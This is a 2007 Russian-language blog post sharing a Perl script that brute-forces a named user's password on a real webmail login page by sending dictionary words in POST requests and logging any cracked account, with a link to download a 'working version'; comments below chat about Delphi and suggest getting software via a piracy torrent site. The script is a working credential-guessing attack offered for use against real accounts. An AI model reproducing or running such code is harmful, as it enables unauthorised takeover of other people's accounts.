• Авторизация


Простейший брутфорс ) 22-09-2007 15:13 к комментариям - к полной версии - понравилось!


Решил поделиться полезным кодом ) Пишем на Perl

#!/usr/bin/perl
use IO::Socket; ## Юзаем сокеты
$|++; ## Инкременируем буферайз
$server="www.mail.ru"; ## Задаем сервер
$port="80"; ## А также порт :)
$logfile="cracked.log"; ## Сюда пишем взломанный аккаунт
$words="bigdict.txt"; ## Наш большой словарик, по которому ведется брутфорс
$user="fuck"; ## Юзер, которого ломаем
$dir="/login.bml"; ## Скрипт, который возвращает статус
open(file, "$words") or die print "$!\n";
@data=;
$total=@data;
close file; ## Откроем словарь, запишем все слова в массив
foreach $pass (@data) { ## Цикл по каждому слову
$i++;
chomp($pass);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n"; ## Создаем соединение с mail.ru
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="user=$user&password=$pass&"; ## Формируем POST-запрос
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.1\r\n";
print $socket "Host: www.mail.ru\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";

## Отправим в сокет длинный header

$socket->recv($answer,1024); ## И прочитаем возврат = 1 кб данных

if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
print "$user:$pass is OK!!!\n";
exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут.
} ## Иначе, проверяем следующий пароль
}

Комменты приветствуются... Скачать рабочую версию можно http://kamensk.net.ru/forb/1/x/brut-lj.tar.gz
вверх^ к полной версии понравилось! в evernote
Комментарии (9):
Ckvoznyak 07-12-2007-00:16 удалить
аа.. Тема... напугал >.< мало того что на программировании сижу как фиг знает кто)) блин... мне б в простейший дельфи во все задачки въехать...:)
...не поможешь?) или дельфи не знаешь\не помнишь?)
ebaut 07-12-2007-17:13 удалить
я на дельфи жил 3 или 4 года, помогу, спрашивай если что :D
Ckvoznyak 07-12-2007-23:25 удалить
Surrendra, ой пасиб большое))
*уй...щас совсем нескромный вопрос задам....где его скачать загрузочник - не знаешь?... а то у меня мой опять полетел. А диск напополам как назло. Не смертельно, но обидно ужжс...:(*
Ckvoznyak 07-12-2007-23:28 удалить
...заранее спасибо:) даже если ничего не ответишь)))))
ebaut 08-12-2007-00:03 удалить
Ckvoznyak, с сайта thepiratebay.org
торрентами пользоваться, надеюсь, умеешь? )
Ckvoznyak 08-12-2007-20:41 удалить
Surrendra, канечн))
пасибо большое))
Ckvoznyak 11-12-2007-10:45 удалить
Тёма...*ничего, если я так ...мм...фамильярно?..:)* можно будет спросить тебя про обращение к файлам в дельфи?.. я проболела тему:(


Комментарии (9): вверх^

Вы сейчас не можете прокомментировать это сообщение.

Дневник Простейший брутфорс ) | ebaut - Вшфкн | Лента друзей ebaut / Полная версия Добавить в друзья Страницы: раньше»